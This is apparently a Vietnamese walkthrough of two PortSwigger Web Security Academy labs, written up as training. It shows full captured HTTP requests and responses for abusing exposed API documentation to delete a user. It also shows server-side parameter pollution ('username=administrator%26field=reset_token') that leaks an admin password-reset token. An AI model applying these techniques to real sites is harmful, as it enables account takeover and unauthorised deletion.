

1. Lab: Exploiting an API endpoint using documentation

Bước 1: Đăng nhập và thay đổi email của tài khoản wiener:

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your email is: quanle58202@gmail.com

Email

Update email

Bước 2: Bắt request, sau đó xóa đường dẫn '/user/wiener', sau đó nhấn send.

Request

PrettyRawHex

1PATCH /api HTTP/2

2Host: 0a21009f030ce15381bb218c004b000f.web-security-academy.net

3Cookie: session=LfdBtc5H3VaGkXZ1TQaEUPuqKEdDz8a

4Content-Length: 33

5Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="128"

6Sec-Ch-Ua-Platform: "Windows"

7Accept-Language: en-US

8Sec-Ch-Ua-Mobile: 70

9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6478.127 Safari/537.36

10Content-Type: text/plain;charset=UTF-8

11Accept: /*

12Origin: https://0a21009f030ce15381bb218c004b000f.web-security-academy.net

13Sec-Fetch-Site: same-origin

14Sec-Fetch-Mode: cors

15Sec-Fetch-Dest: empty

16Referer: https://0a21009f030ce15381bb218c004b000f.web-security-academy.net/my-account

17Accept-Encoding: gzip, deflate, br

18Priority: u=1, i

19

20{

21"email": "quanle58202@gmail.com"

22}

Response

Nhấn vào show response, sau đó sẽ hiển thị ra api của shop, nhấn delete để xóa user carlos:

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

WE LIKE TO SHOP

REST API

Verb	Endpoint	Parameters	Response
GET	/user/[username: String]	{}	200 OK, User
DELETE	/user/[username: String]	{}	200 OK, Result
PATCH	/user/[username: String]	{ "email": String }	200 OK, User

2. Lab: Exploiting server-side parameter pollution in a query string

Bước 1: Nhấn vào mục forgot password và điền tài khoản administrator vào, sau khi điền xong thì website thông báo check email của admin:

Please check your email: "*****@normal-user.net"

Bước 2: Bắt request của phần forgot-password, chúng ta thấy rằng khi sửa parameter từ administrator sang 'username=administrator%26field=123' (%26 = &) thì nó hiện lên thông báo là invalid field:

Request

Pretty

Raw

Hex

```
1 POST /forgot-password HTTP/2
2 Host: 0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net
3 Cookie: session=8P02c4z3BUshwVPe8Bz3zCE0AMsP1cf
4 Content-Length: 72
5 Sec-Ch-Ua: "Not/A Brand";v="8", "Chromium";v="126"
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: en-US
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6878.127 Safari/537.36
10 Content-Type: x-www-form-urlencoded
11 Accept: */*
12 Origin: https://0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net/forgot-password
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19
20 csrf=V0Gv2dImfKQ9XpG7dYFPSONhTSCgyhtY&username=administrator%26field=123
```

Response

Pretty

Raw

Hex

Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 58
6
7 {
8   "type": "ClientError",
9   "code": 400,
10  "error": "Invalid field."
11 }
```

Bước 3: Nhìn vào trong file forgotPassword.js thì thấy có tham số reset_token:

```
    )
    .catch(err => {
      forgotPasswordError.textContent = "Invalid username";
    })
  );
}
catch (error) {
  console.error("Unexpected Error:", error);
}
}

const displayMsg = (e) => {
  e.preventDefault();
  validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
  const queryString = window.location.search;
  const urlParams = new URLSearchParams(queryString);
  const resetToken = urlParams.get('reset-token');
  if (resetToken)
  {
    window.location.href = `/forgot-password?reset_token=${resetToken}`;
  }
  else
  {
    const forgotPasswordBtn = document.getElementById("forgot-password-btn");
    forgotPasswordBtn.addEventListener("click", displayMsg);
  }
});
```

Thử thay phần reset_token vào trong phần field, kết quả có giá trị reset token:

Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
<pre>1 POST /forgot-password HTTP/2 2 Host: 0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net 3 Cookie: session=5PD2c4rJB0zhmVPeJBx3zJCE0AMzPlcf 4 Content-Length: 80 5 Sec-Ch-Ua: "Not/A) Brand";v="8", "Chromium";v="126" 6 Sec-Ch-Ua-Platform: "Windows" 7 Accept-Language: en-US 8 Sec-Ch-Ua-Mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 10 Content-Type: x-www-form-urlencoded 11 Accept: */* 12 Origin: https://0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Dest: empty 16 Referer: https://0a32001e03e548a281ce3e9a00e300a5.web-security-academy.net/forgot-password 17 Accept-Encoding: gzip, deflate, br 18 Priority: u=1, i 19 20 csrf=VCGJwZdImfkQ9Xp07dYFPShTSCgyhtY&username=administrator&field=reset_token</pre>			<pre>1 HTTP/2 200 OK 2 Content-Type: application/json; charset=utf-8 3 X-Content-Type-Options: nosniff 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 66 6 7 { "type": "reset token", "result": "2xc2ek8jomj3x5fnqcqvav2spxlii63d" }</pre>			

Bước 4: Thay giá trị reset token vừa tìm được vào trong url, thành công chuyển mặt khẩu của admin, đăng nhập vào tài khoản này và xóa user carlos:

My Account

Your username is: administrator

Your email is: admin@normal-user.net

Email

Update email



Exploiting server-side parameter pollution in a query string

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

User deleted successfully!

Users